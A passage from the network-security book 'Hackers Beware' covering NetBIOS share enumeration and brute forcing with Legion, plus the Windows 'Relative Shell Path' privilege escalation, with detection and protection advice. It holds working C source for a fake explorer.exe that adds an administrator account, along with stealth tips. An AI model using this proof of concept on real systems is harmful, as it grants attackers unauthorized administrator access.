hackers beware the ultimate guide to network security phần 7 pptx

“ Hackers Beware “ New Riders Publishing
488
For stand alone NT machines connected to the Internet, disable NetBIOS
bindings from the network interface. Because it is generally known that
many security breaches come from the inside of an organization, care
should be taken to limit file sharing altogether. If possible, a system
administrator should lock down any Windows 9.X machines on the
network, so users cannot unilaterally enable sharing without the IT
department’s knowledge. The Windows 95 Policy Editor (poledit.exe) is a
great tool for this.
Windows NT workstations are easier to secure, but the default
configuration should be checked to make sure that the network is not
vulnerable. On an NT-only network, it is possible to disable Lanman
authentication by adding “LMCompatabilityLevel” Value with a Value Type
“REG_DWORD=4” to the following Registry key:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA
The bottom line is that system administrators, along with others tasked
with security, need to take security vulnerability warnings and advisories
seriously. Although the Microsoft vulnerabilities related to NetBIOS and
NetBEUI were made public several years ago, many organizations still
have not made an effort to shore up their security infrastructure. Federal
agencies have been forced to start doing so through mandates, such as
Presidential Decision Directive (PDD) 63 and other efforts to secure the
nation’s critical infrastructure. Users need to be educated and held
responsible when they deliberately weaken an organization’s security
posture. The Federal government is taking steps in the right direction, and
the private sector would do well to follow if they haven’t done so already.
Additional Information

Additional information on this exploit and on NetBIOS and SMB can be
found at www.packetstorm.securify.com
.
The Microsoft shares exploit looked at some of the general problems with
Shares and Null sessions. The next section takes a look at a specific
product that can be used to exploit Null sessions: Legion.
Legion
Legion is a NetBIOS scanner that can enumerate NetBIOS file shares
across large ranges of IP addresses. Legion also provides a brute force
password cracking component that can be directed against a single
NetBIOS file share.
Exploit Details


“ Hackers Beware “ New Riders Publishing
489
• Name: Legion 2.11
• Variants: SMBscanner, Cerberus Information Security, NBTdump,
Cain 2.0, GNIT NT Vulnerability Scanner, Share Finder, Cain & Abel
• Operating System: Primarily WFW, Win9x, and WinNT (However,
any operating systems that provides file sharing services via the
TCP/IP NetBIOS SMB protocol are potentially affected.)
• Protocols/Services: TCP/IP, NetBIOS, SMB, Windows File Sharing
• Written by: Brad Sanford and Glen Sharlun
Protocol Description—Enumeration Component
Legion performs its enumeration of shares in two phases. The first phase
consists of a simple port scan looking for systems, which then respond to
connection attempts on TCP port 139 (NetBIOS-ssn).
The second phase of the enumeration process revisits each of those
systems that responded to the port scan in phase one with a more

intensive probe. As each system is revisited, Legion again establishes a
NetBIOS-ssn connection over TCP port 139. This is shown in the following
network traffic:

9 LEGIONBOX01 *SMBSERVER TCP: D=139 S=2168 SYN SEQ=100114
LEN=0 WIN=8192
10 *SMBSERVER LEGIONBOX01 TCP: D=2168 S=139 SYN ACK=100115
SEQ=173595 LEN=0
WIN=8760
11 LEGIONBOX01 *SMBSERVER TCP: D=139 S=2168 ACK=173596
WIN=8760
As soon as the three-way handshake is completed, Legion initiates a
NetBIOS session request to the destination system using *SMBSERVER<20>
as the Called NetBIOS name. If the destination system is willing to accept
the NetBIOS session request, it responds positively, and the session is
confirmed.

12 LEGIONBOX01 *SMBSERVER NETB: D=*SMBSERVER<20>
S=LEGIONBOX01<00> Session
request
13 *SMBSERVER LEGIONBOX01 NETB: Session confirm
Ironically, we were only able to elicit positive responses from WinNT
systems. Both Win95 and Win98 systems gave a negative response to this
request (session error 82— called name not present) and did not establish
the session. Hobbit’s paper, “CIFS: Common Insecurities Fail Scrutiny”,
which is available at www.l0pht.com
, makes reference to such an
anomaly: “The CIFS spec mentions that the magic target name

“ Hackers Beware “ New Riders Publishing
490
“*SMBSERVER” is supposed to be some sort of wildcard, but it is optional
and no current Microsoft platforms seem to accept it to open sessions.”
Next, the client initiates an SMB dialect (essentially a version) negotiation.
It does this by sending a list of all the SMB dialects supported by the client
to the SMB server, and the SMB server chooses the dialect it determines
to be most appropriate. The 8 dialects supported by a WinNT 4.0 SP4
machine are as follows:

SMB: Dialect = "PC NETWORK PROGRAM 1.0"
SMB: Dialect = "XENIX CORE"
SMB: Dialect = "MICROSOFT NETWORKS 1.03"
SMB: Dialect = "LANMAN1.0"
SMB: Dialect = "Windows for Workgroups 3.1a"
SMB: Dialect = "LM1.2X002"
SMB: Dialect = "LANMAN2.1"
SMB: Dialect = "NT LM 0.12"
For this test, dialect 7, NT LM 0.12 was chosen by the SMB server, and
the following is the output:

14 LEGIONBOX01 *SMBSERVER SMB: C Negotiate Dialect: PC
NETWORK PROGRAM 1.0

15 *SMBSERVER LEGIONBOX01 SMB: R Negotiated Protocol 7
Both client and server having agreed to the dialect, the client now initiates
a tree connect to the “hidden” IPC$ share on the SMB server.

16 LEGIONBOX01 *SMBSERVER SMB: C Connect IPC
\\10.10.26.194\IPC$

17 *SMBSERVER LEGIONBOX01 SMB: R IPC Connected
Once connected, a named pipe is created over the commands that can be
passed.

18 LEGIONBOX01 *SMBSERVER SMB: C NT Create \srvsvc
19 *SMBSERVER LEGIONBOX01 SMB: R F=0800 NT Created
20 LEGIONBOX01 *SMBSERVER MSRPC: C Bind(0x0B)
21 *SMBSERVER LEGIONBOX01 MSRPC: R Bind Ack(0x0C)
With the named pipe now established, the client issues the share
enumerate command, and the SMB server responds with the (unicode)
names of all the shares on the system, including the “hidden”


“ Hackers Beware “ New Riders Publishing
491
administrative shares. Legion apparently ignores these administrative
shares, however, they are not displayed within the GUI.

22 LEGIONBOX01 *SMBSERVER SRVSVC: CALL (Share Enumerate)
23 *SMBSERVER LEGIONBOX01 SRVSVC: RESP (Share Enumerate)
to Frame 22
24 LEGIONBOX01 *SMBSERVER SMB: C F=0800 Read 856 at 0
25 *SMBSERVER LEGIONBOX01 SMB: R Status=OK
Once the work is done, the client tears down the logical NetBIOS session,
but leaves the NetBIOS-ssn TCP connection in place to support further
communication between these two systems in the future.

26 LEGIONBOX01 *SMBSERVER SMB: C F=0800 Close
27 *SMBSERVER LEGIONBOX01 SMB: R Closed

28 LEGIONBOX01 *SMBSERVER TCP: D=139 S=2168 ACK=176113
WIN=7801
Protocol Description—Brute Force Password Cracking Component
The Legion brute force password cracker is very simple from a protocol
perspective. The client goes through a process almost identical to that
previously described to establish a NetBIOS session with the SMB server.
The main difference is that the brute force password cracker uses the
actual NetBIOS name of the SMB server (supplied by the user) instead of
*SMBSERVER as the Called NetBIOS name in the NetBIOS session request.
After the session is established, the client issues an SMB account setup
command using the client computer’s NetBIOS name as the account
name.

1 [10.10.26.14] [10.10.26.231] SMB:: C Setup account
LEGIONBOX01
2 [10.10.26.231] [10.10.26.14] SMB:: R Setup
After the account has been set up, Legion simply issues one SMB connect
command after another to the NetBIOS share in question, each time
passing a different pass-word. The SMB server dutifully responds to each
of the invalid attempts with a “Bad password” reply and awaits further
attempts.

3 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
4 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
5 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION


“ Hackers Beware “ New Riders Publishing

492
6 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
7 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
8 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
9 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
10 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
11 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
12 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
13 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
14 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
15 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
16 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
17 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
18 [10.10.26.231] [10.10.26.14] MB: R Status=Bad password
19 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
20 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
21 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
22 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
23 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
24 [10.10.26.231] [10.10.26.14] SMB: R Status=Bad password
Eventually, when the correct password is guessed, access is granted to

the NetBIOS share and it is accessible to the client.

25 [10.10.26.14] [10.10.26.231] SMB: C Connect A:
\\SMBSHAREBOX1\LEGION
26 [10.10.26.231] [10.10.26.14] SMB: R A: Connected
27 [10.10.26.14] [10.10.26.231] TCP: D=139 S=1073
ACK=73721 WIN=7361
It is worth pointing out that this brute force password cracking process
can be very fast. In my specific case, where both systems were connected
to the same LAN, all 12 attempts at guessing the password were
completed within 200 milliseconds, and the Win95 server never gave any
indication that it was under attack. At this rate, a 250,000-word dictionary
could be processed in just over an hour.
Description of Variants
There are not necessarily direct relations between the following variants
and Rhino9’s Legion, but the NetBIOS exploit is used. (Based on timelines


“ Hackers Beware “ New Riders Publishing
493
of development, Legion (as a concept) is likely in the bloodline of most of
the following variants.)
Getsvrinfo 1.0 by AbuseLabs
This is a little program coded for Windows NT that obtains the parameters
of a remote Windows NT server. Parameters include: NetBIOS name,
NetBIOS domain/workgroup, amount of users currently logged in, and
remote operating system version.
GNITvse rc1: GNIT Vulnerability Scanning Engine by glitch of ellicit.org
A vulnerability scanner that scans for the following: NBTStat Scan, Null
IPC Session Establishment, Net View Scan, Enumerates all Global Groups,

Enumerates all Local Groups, and Enumerates all User Accounts.
NB4 by Craig at freenet.de
This is a NBTSTAT scanner, written in Batch language, that scans from
xxx.xxx.xxx.1 to xxx.xxx.xxx.255 for NetBIOS hosts.
NBName by Sir Dystic at CDC
NBName decodes and displays all NetBIOS name packets it receives on
UDP port 137. Using the /DENY * command-line option, it responds
negatively to all NetBIOS name registration packets it receives. Using the
/CONFLICT command-line option, it sends a name release request for
each name that is not already in conflict with machines from which it
receives an adapter status response. The /FINDALL command-line option
causes a wildcard name query request to be broadcast at startup, and
each machine that responds to the name query is sent an adapter status
request. The /ASTAT command-line option causes an adapter status
request to be sent to the specified IP address, which doesn’t have to be on
your local network. Using /FINDALL /CONFLICT /DENY * disables your
entire local NetBIOS network and prevent machines from rejoining it.
Net Fizz 0.1 by Zorkeres
Net Fizz is a multithreaded net share scanner for Windows NT only. It is
fast and has the capability of showing hidden shares.
NetBIOS Auditing Tool (NT) 1.0 by Secure Networks Inc.
The intention of this package is to perform various security checks on
remote servers running NetBIOS file sharing services. In the grand
scheme of NetBIOS and Windows NT security, NetBIOS Auditing Tool is
fairly small. It is, without question, a step in the right direction, but like
any software, it needs further development.


“ Hackers Beware “ New Riders Publishing
494

NTInfoScan 4.2.2 by David Litchfield
NTInfoScan is a security scanner designed specifically for the Windows NT
4.0 operating system. It is simple to use; you run it from a command line,
and when the scan is finished, it produces an HTML-based report of
security issues found with hyper-text links to vendor patches and further
information. NTInfoScan is currently at version 4.2.2. It tests a number of
services, such as ftp, telnet, and Web service, for security problems. In
addition to this, NTInfoScan checks NetBIOS share security and User
account security.
Winfingerprint 2.2.6 by Kriby Kuehl at technotronic.com
This program allows for advanced remote Windows OS detection. Some of
the current Features are:
• Determines OS using SMB Queries
• PDC (Primary Domain Controller)
• BDC (Backup Domain Controller)
• NT MEMBER SERVER
• NT WORKSTATION
• SQLSERVER
• NOVELL NETWARE SERVER
• WINDOWS FOR WORKGROUPS and WINDOWS 9x
• Enumerates Servers
• Enumerates Shares including Administrative ($)
• Enumerates Global Groups
• Enumerates Users
• Displays Active Services
• Ability to Scan Network Neighborhood
• Ability to establish NULL IPC$ session with host
• Ability to Query Registry (currently determines Service Pack Level &
Applied Hotfixes).
• Changes: Enumerates Transports, Retrieves Date & Time.

Winfo 1.4 by Arne Vidstrom
Winfo uses null sessions to remotely retrieve a list of user accounts,
workstation trust accounts, interdomain trust accounts, server trust
accounts, and shares from Windows NT. It also identifies the built-in
Administrator and Guest accounts, even if their names have been
changed. Of course, Winfo will show all hidden shares. One of the features
is the -n switch, which activates null session mode. Without this switch,
Winfo can be used to retrieve the information mentioned, but it uses an
already established connection to the other computer. For example, if null
sessions have been restricted, but you have a valid user account, then
you can connect first and use Winfo to retrieve the information you need.


“ Hackers Beware “ New Riders Publishing
495
How the Exploit Works
Legion is not an exploit in the truest sense of the word, however it is a
program that can be used in a malicious manner.
When used to enumerate shares on an NT system, Legion takes
advantage of the fact that a default installation of an NT system allows
anonymous users to connect to the interprocess communication share,
IPC$, without a password. This connection can then be used as a conduit
through which various information gathering commands can be passed to
the target system. Although Microsoft has provided a mechanism to
disallow these “null sessions” since Service Pack 3, a default installation of
an NT system, even with the latest Service Pack applied, still allows
anonymous connections of this type. In addition to file shares, other key
pieces of information, such as users, groups, and Registry settings, can all
be enumerated through this null session. Manual modifications to the
Registry are required to remedy this vulnerability.

Legion is an effective tool when it is used as a brute force password
cracker against NetBIOS shares with share-level access for several
reasons. First and foremost, when directed against a Win9x system, the
operating system provides no innate capability to detect the attack! No
logs or audit trails are written and no alerts are generated that would
inform the user of the system that it is under attack. Furthermore,
Windows provides no mechanism for locking out access to a NetBIOS
share after a given number of failed logon attempts. Additionally, the
Windows implementation of NetBIOS file sharing provides no time penalty
for an invalid logon attempt. Instead, an invalid logon attempt is
immediately acknowledged as such, thus allowing the malicious client to
quickly make additional authentication attempts. Finally, users choose
poor passwords or no passwords at all too often when establishing shares.
Diagram—Share Enumeration
The following is a diagram of the process that occurs when enumerating
shares:


“ Hackers Beware “ New Riders Publishing
496

Diagram—Brute Force Password Cracking
The following is a diagram of the process that occurs when cracking
passwords:


“ Hackers Beware “ New Riders Publishing
497

“ Hackers Beware “ New Riders Publishing
498
How to Use Legion
When Legion is started, the initial GUI screen appears and gives the user
two primary scan types from which to choose, “Scan Range” and “Scan
List.” The Scan Range option enables the user to scan a range of IP
addresses up to an entire class B network. To perform this function, the
user simply has to check the Scan Range radio button, fill in the starting
and ending IP addresses of the range they want to scan, choose a
connection speed, and click the Scan button. This is shown in Figure 12.9.
Figure 12.9. The initial screen for Legion.

Similarly, to scan a list of individual IP addresses, the user only needs to
check the Scan List radio button, type each target IP address into the
Scan List box, click add, select a connection speed, and then begin the
scan by clicking the Scan button. This is shown in Figure 12.10. If the user
has a large list of target IP addresses to scan, Legion makes it easy to
import the list of IP addresses from a standard text file by clicking the
Import List button.
Figure 12.10. Providing Legion with the information it needs to run a scan.


“ Hackers Beware “ New Riders Publishing
499

Regardless of the scan type chosen, the results are presented in a familiar
Explorer-like tree view, as shown in Figure 12.11. By navigating this tree,
the user can now map any share by highlighting it in the left panel and
clicking the Map Drive button at the bottom of the screen.

Figure 12.11. Results from running a scan with Legion.

Legion then automatically maps the share to the first available drive letter
and notifies the user of the action, as shown in Figure 12.12.


“ Hackers Beware “ New Riders Publishing
500
Figure 12.12. Legion automatically mapping the share to the next available
drive letter.

The user may also want to export the list of discovered shares to a text
file for later use by an alternate utility or simply for reference. This can be
accomplished by clicking the Save Text button. The output is a standard
text file in the format of \\ HOSTNAME \SHARENAME, as shown in Figure
12.13.
Figure 12.13. Text file produced when the list of discovered shares is exported.

When the user wants to attempt a brute force password cracking attack
(which in reality is a dictionary attack) against a NetBIOS share with
share-level access, the user can initiate the Brute Force Password
Cracking Tool by clicking the Show BF Tool button at the bottom of the
screen. The Force Share window then appears, as shown in Figure 12.14
.
The user must type the name of the target share in the Path dialog box,
add one or more word lists to the Word Lists dialog box, and then click the
Start button.
Figure 12.14. Legion attempting to perform a brute force password cracking
attack.

“ Hackers Beware “ New Riders Publishing
501

Legion displays a response informing the user whether or not the brute
force attempt was successful, as shown in Figure 12.15
.
Figure 12.15. Successful brute force password attack with Legion.

If successful, Legion automatically maps the share to the first available
drive and informs the user, as shown in Figure 12.16
.
Figure 12.16. Legion automatically mapping to shared drive after the password
was cracked.

Signature of the Attack
The true signature of a Legion enumeration attempt, as well as many
other enumeration attempts, are inbound NetBIOS session TCP
connections to TCP port 139. Unfortunately, Microsoft has not
implemented a native capability into its platforms that allow for the
monitoring and logging of network-level events such as these. On WinNT
systems, the share enumeration component of Legion does result in the


“ Hackers Beware “ New Riders Publishing
502
generation of a Privilege Use Success Event #576 in the Security Event
Log, and the brute force password cracking tool results in the generation
of Logon/Logoff Failure Events #529 (and potentially #539 if the account
gets locked out) in the Security Event Log. This is shown in Figure 12.17.

Figure 12.17. NT EventViewer log showing indication of a Legion attack.

Upon a more detailed investigation, it becomes evident that the Privilege
Use Event #576 is generated in response to the granting of the
SeChangeNotifyPrivilege to the new logon, as shown in Figure 12.18.
Figure 12.18. Detailed view of the privilege use event log generated by legion.



“ Hackers Beware “ New Riders Publishing
503
The Logon/Logoff Failure Event #529, Figure 12.19, looks just like any
other “Unknown user name or bad password” logon failure from a remote
workstation (Logon Type: 3), and the “Account locked out” Logon/Logoff
Failure Event #539, Figure 12.20, looks like it as well. It should, however,
be relatively easy to distinguish between the brute force password
guessing attempts of a tool, such as Legion, and the occasional invalid
password simply because of the sheer volume of invalid logon attempts
generated by Legion and the short time span over which they occur.
Figure 12.19. Event #529, “unknown user name or bad password” log entry.

Figure 12.20. Event #539, “account locked out” log entry.


“ Hackers Beware “ New Riders Publishing
504

One fact worth noting about these Event log entries is that although
Microsoft has chosen to record the workstation name from which these
attempts originate, (this can be easily spoofed by simply changing the

workstation name) they have neglected to record the source IP address of
the attempts, thereby making the incident handling process that much
harder.
That being said, at least WinNT writes a log entry—Win9x systems don’t
even do that. There is no innate capability to record or detect any kind of
attack signature whatsoever on these platforms.
Fortunately, the personal firewall market has finally started to mature,
and there are some very good Win9x-/WinNT-based firewalls, which are
not very expensive and do an excellent job of detecting, recording,
blocking, and alerting the user to unwanted network activity directed at
their workstation. One of my favorites is @Guard, which was originally a
WRQ product, but it is now part of the Norton Internet Security Suite of
products. This is just one of several quality products that are available.
With such a product installed, it is easy to identify unwanted network
activity. Figure 12.21 shows the @Guard log file, captured on a Win95
system, which makes evident the tell tale signs of the brute force
password cracking component of Legion. Multiple inbound connection
attempts to the NetBIOS-ssn TCP port 139 are clearly visible in the log.
Furthermore, the attack was blocked, and the IP address of the offending
system was easily obtained from the log.


“ Hackers Beware “ New Riders Publishing
505
Figure 12.21. @Guard log file showing a Legion attack.

How to Protect Against Legion
Depending on which version of Windows you are running, there are
different ways to protect against Legion.
For Win9x systems:

1. If the system is not connected to a LAN and does not need to share
files across the Internet, unbind “Client for Microsoft Networks” and
“File and printer sharing for Microsoft Networks” from every network
adapter using TCP/IP.
2. If you are connected to a LAN and you must use NetBIOS file
sharing, adhere to the Principle of Least Privilege when granting
access to those shares. That is share only the directories that are
absolutely required, make the share read only if possible, grant only
user-level share access, if your version of Win9x supports this
option, and be certain to use strong passwords for share-level
access to file shares.
3. Install a personal firewall, implement a security policy that denies
inbound access to the NetBIOS over TCP ports (TCP and UDP ports
135 through 139), and monitor the firewall logs for signs of illicit
activity.
For WinNT Systems:


“ Hackers Beware “ New Riders Publishing
506
1. Prevent the anonymous user from connecting to a null session and
enumerating system information by setting the RestrictAnonymous
Registry key. See Microsoft Knowledge Base article Q143474 for
information regarding the implementation of this feature.
2. If you are connected to a LAN, and you must use NetBIOS file
sharing, adhere to the Principle of Least Privilege when granting
access to those shares. (That is share only the directories that are
absolutely required, make the share read only if possible, grant
user-level share access only to required individuals.)
3. Install a personal firewall, implement a security policy that denies

inbound access to the NetBIOS over IP ports, (TCP and UDP ports
135 through 139) and monitor the firewall logs for signs of illicit
activity.
4. Ensure that the account policy is configured to lock out all accounts
after a small number of unsuccessful login attempts.
For the Network:
Block all inbound network traffic destined for the NetBIOS over IP ports
(TCP and UDP ports 135 through 139) at the perimeter firewall or
perimeter router.
Additional Information
Additional information on legion can be found at the following sites:
•
•
• />/117358AA/B_39.HTM
•
Relative Shell Path Vulnerability
This exploit is a variant of the traditional Trojan horse mechanism, in
which a bogus and potentially malevolent executable is made to
masquerade as and/or launch an authentic executable. It also qualifies as
a privilege escalation exploit, which allows a user with limited privileges to
gain more privileges by exploiting a system vulnerability.
Exploit Details
•
Name: Relative Shell Path” Vulnerability
• Variants: none
• Platforms Affected: Windows NT 4.0 and Windows 2000
• Protocols/Services: This vulnerability exists through the Windows
API call “CreateProcess” and its particular usage in conjunction with

“ Hackers Beware “ New Riders Publishing
507
invoking executables whose paths are contained in the Windows
NT/2000 Registry.
• Written by: Earl Ray Evans
It is possible for a non-privileged user to cause Windows NT 4.0 or
Windows 2000 to invoke an alternate, bogus version of explorer.exe
(desktop) during logon sessions, instead of the authentic explorer.exe
executable.
This means that the non-privileged user could cause anyone who logs into
the machine (including a privileged user) to run the non-privileged user’s
code of choice upon logon.
Protocol Description
The Windows API call “CreateProcess” invokes an executable. The way in
which it locates the correct executable to invoke (the executable path) is
at the heart of this vulnerability.
Description of Variants
Trojan horses are among the most ancient of attacker exploits. Examples
include:
• Phony logon screens that record passwords for later use by an
unauthorized entity.
• Replacement of legitimate system functions (such as compilers and
mail applications) with malevolent code that masquerades as the
real thing.
• Rootkits that contain executables, which hide the fact that an
attacker has compromised a system.
Trojan horses are often part of a progressive exploit in which a system
vulnerability is used to allow the attacker to plant the malevolent Trojan
code into the system. For example, in the specific case contained in this
document, the vulnerability allows the attacker to replace the legitimate

explorer.exe (essentially, the Windows desktop) with arbitrary code.
How the Exploit Works
When a Windows NT 4.0 or Windows 2000 system function calls for
invocation of an executable with a relative (not fully specified) pathname,
it searches a predictable set of paths to find the executable. The most
likely sequence is:
1. %SystemDrive%\ (for example, C:\)
2. %SystemRoot%\System32 (for example, C:\WINNT\System32)
3. %SystemRoot% (for example, C:\WINNT)


“ Hackers Beware “ New Riders Publishing
508
These paths are defaults, and may be different on some machines
depending on installation choices. Detailed information on these paths and
what they represent can be found in the “Additional Information” section
of this exploit description.
If an attacker somehow places an executable with the same name as a
legitimate executable earlier in the search path sequence, and if the
executable is invoked with a relative (not fully qualified) path name, the
attacker’s executable will be invoked instead of the legitimate executable.
This requires that:
• The attacker has read/write privileges to a directory in the search
path.
• The executable is not specified with a fully qualified path name.
By default, users on a machine have read/write access to a directory in
the search path—the root of the system drive (for example, C:\). Also, by
default, the Registry entry that calls explorer.exe (the Windows desktop)
upon logon uses a relative path name (explorer.exe) instead of a fully-
qualified pathname.

So, by placing a bogus executable named explorer.exe in the C:\
directory, an attacker can cause any user logging in to the machine to run
the bogus explorer.exe in the logon sequence. The bogus explorer.exe
might then run the real explorer.exe (to avoid suspicion), but would also
perform actions to help the attacker gain further privileges on the
machine.
How to Use It
This exploit permits a non-privileged user to surreptitiously cause a
privileged user to run arbitrary code under the security context of the
privileged user upon logon. One good way to take advantage of this ability
would be to cause code to be invoked, which adds a new privileged user
account to the system.
The sample exploit that I have tested and documented includes the
following steps:
1. Create a bogus explorer.exe file, which first invokes the authentic
explorer.exe (in the \WINNT directory), but which also runs a utility
(addusers.exe) to add a new, privileged user account to the system.
2. Login interactively to the target machine as a non-privileged user.
3. Place the bogus explorer.exe, addusers.exe, and the support file
accounts.txt in the C:\ directory.
4. Await a privileged user to log into the machine.


“ Hackers Beware “ New Riders Publishing
509
5. Return to the machine and log in using the new, privileged account.
Welcome to the Administrators group!
Signature of the Attack
Strange files placed in the C:\ directory are a sign that something is
amiss. In particular, a file named explorer.exe in the C:\ directory is a

dead giveaway.
How to Protect Against It
Microsoft patches are available to fix this specific problem. See the
Microsoft Bulletin and FAQ for additional details, which is located at
www.microsoft.com.
Other best practices that would protect against exploits of this nature
include:
1. Do not permit interactive login to critical machines, such as domain
controllers, servers, and other infrastructure platforms. Use both
physical and logical security to safeguard these platforms.
2. Change file permissions on systems as appropriate to safeguard
directories.
3. Use host intrusion detection tools (such as Tripwire) to detect and
alarm when changes are made to key directories.
4. Use auditing to log and discover key system changes (such as the
addition of a new, privileged user account).
Source Code/Pseudo Code
I have included source code that (in concert with the addusers.exe utility
from the Windows 2000 Resource Kit) demonstrates how this vulnerability
can be exploited. I have successfully tested this code on a Windows 2000
Professional platform.
The bogus program explorer.exe is created from the following explorer.c
source file. This was compiled with the C compiler in Microsoft Visual
Studio 6.0.
Listing of explorer.c

#include <stdio.h>
#include <process.h>

char* prog; // Pointer to executable program

string


“ Hackers Beware “ New Riders Publishing
510
char* args[4]; // Pointers to arguments for
executable

void main ()
{
/* Run the real explorer first */
/* without waiting (_P_NOWAIT) before launching the */
/* subsequent executable. This makes the exploit less
*/
/* visible to the user logging in. */

prog = "c:\\winnt\\explorer.exe";
args[0] = prog;
args[1] = NULL;
_spawnv(_P_NOWAIT,prog, args);

/* Run the Resouce Kit addusers.exe program */
/* with the "/c" parameter (add users) and using the
*/
/* configuration file "accounts.txt". See
documentation */
/* for the contents of accounts.txt and how they are
*/
/* used to add a privileged user account */
prog = "addusers.exe";

args[0] = prog;
args[1] = "/c";
args[2] = "accounts.txt";
args[3] = NULL;
_execv(prog, args); // execv exits this application
after running
}

explorer.c
The explorer.exe relies on addusers.exe, a utility found in both the
Windows NT 4.0 and Windows 2000 Resource Kits. (addusers.exe is not
contained in the submitted exploit enclosure because it is a licensed
program from Microsoft and must be purchased as part of the Resource
Kit.)
In this instance of the exploit, addusers.exe (with the “/c” option) uses
the following configuration file (accounts.txt):

[User]
erictest,Eric Test,,,,,,
[Local]
Administrators,,erictest



“ Hackers Beware “ New Riders Publishing
511
accounts.txt
The format of accounts.txt is fairly straightforward. This configuration file
instructs addusers.exe to add a new user (erictest), and places that
user in the local Administrators group.

Potential Enhancements
This code is a proof of concept, and it worked flawlessly in a laboratory
environment. It could potentially be cleaned up in the following ways:
1. Anyone logging into the system will see a DOS prompt flash by as
the addusers.exe utility is run. Using Windows API functions from a
windowed application (with the correct “stealth” settings) instead of
the addusers.exe utility might make the process less visible.
2. The utility addusers.exe and the support file could be placed in
another directory to avoid suspicion.
3. A clean-up script could be used to delete the files after execution to
avoid detection.
Additional Information
Microsoft has produced a security bulletin that explains this vulnerability
and provides information on obtaining and installing a patch. The bulletin
can be found at:

Microsoft has also produced a FAQ on this vulnerability that can be found
at:

Further technical details on invocation of executables from the Registry
can be found in Microsoft’s TechNet article, “Registry-Invoked Programs
Use Standard Search Path”, which is located at:
/>
More information and potential exploit alternatives are provided by Alberto
Aragones of The Quimeras Company. This information can be found at:
/>
NT DSN Hijack Using ODBC Datasource Tools
This exploits illustrates why it is important to remove any unneeded code
off of the system. Any extraneous code could be used by an attacker to
compromise the system.

“ Hackers Beware “ New Riders Publishing
512
Exploit Details
•
Name: NT DSN Hijack
• OS Vulnerable: Windows NT 3.5 and 4, IIS3/4, MS SQL 6.5
• Other: Windows NT running MS proxy server 2
• Applications: ODBC datasource tools included with IIS
(mkilog.exe, newdsn.exe, mkplog.exe)
• Exploit Type: DoS, Information Gathering, and Intrusion
• Services used: IIS Web server, SQL server
• Protocols used: HTTP, SQL socket over TCP/IP
• Tools used: a Web browser, NetCat, ODBC, Rhino9s Grinder2
• Written by: Björn Persson
Though it is common practice not to leave any of the IIS demo pages and
applications available on an exposed server, the implications of this
security hole can be quite devastating. By taking in to consideration that
the executables used in this exploit are distributed with both IIS and MS
proxy in two different variations, it becomes quite apparent that this is a
widespread and often overlooked security hole.
The NT DSN Hijack exploit can be used maliciously in a number of ways:
• Disables service/application logging to ODBC
• Disables functionality on an ODBC-/database-dependant web site.
• Disables functionality of any other ODBC-dependant applications.
• Writes files to the vulnerable servers local hard drive
• Hijacks and redirects ODBC traffic to a third-party server
• Hijacks and obtains SQL server usernames and passwords
How the Exploit Works

By using the ODBC Datasource Tools included with IIS, a malicious
attacker is able to overwrite the existing ODBS DSN settings in the
vulnerable NT 4 Servers Registry from a remote location over the
Internet. The default NT permissions in the Registry does not protect the
DSN settings nor the IIS settings, which makes a “Hijack” or modification
of a Data Source on the Server possible. An attacker can then point the
DSN to a computer under his control, sniff the username and password,
access the victims SQL server, and steal sensitive data, or even replicate
the data structure and set up a fully functional database continuously
being fed data from the victim’s server. All the needed tools are already
on the server making the attack possible from virtually any platform and
location.
How to Use the Exploit
Now lets go step by step and describe how the attack would be done, from
the viewpoint of the attacker. The lab setup is as follows: